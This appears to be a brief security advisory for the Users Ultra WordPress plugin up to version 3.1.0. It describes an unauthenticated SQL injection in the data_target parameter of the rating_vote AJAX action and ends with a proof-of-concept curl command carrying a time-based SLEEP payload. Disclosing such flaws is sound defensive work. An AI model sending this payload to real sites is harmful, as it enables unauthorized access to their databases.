Users Ultra <= 3.1.0 - Unauthenticated SQL Injection

The plugin fails to properly sanitize and escape the data_target parameter before it is being interpolated in an SQL statement and then executed via the rating_vote AJAX action (available to both unauthenticated and authenticated users), leading to an SQL Injection.

curl https://example.com/wp-admin/admin-ajax.php --data 'action=rating_vote&data_id=1&data_target=vote_score+%3d+1+AND+(SELECT+3+FROM+(SELECT(SLEEP(5)))gwe)--+'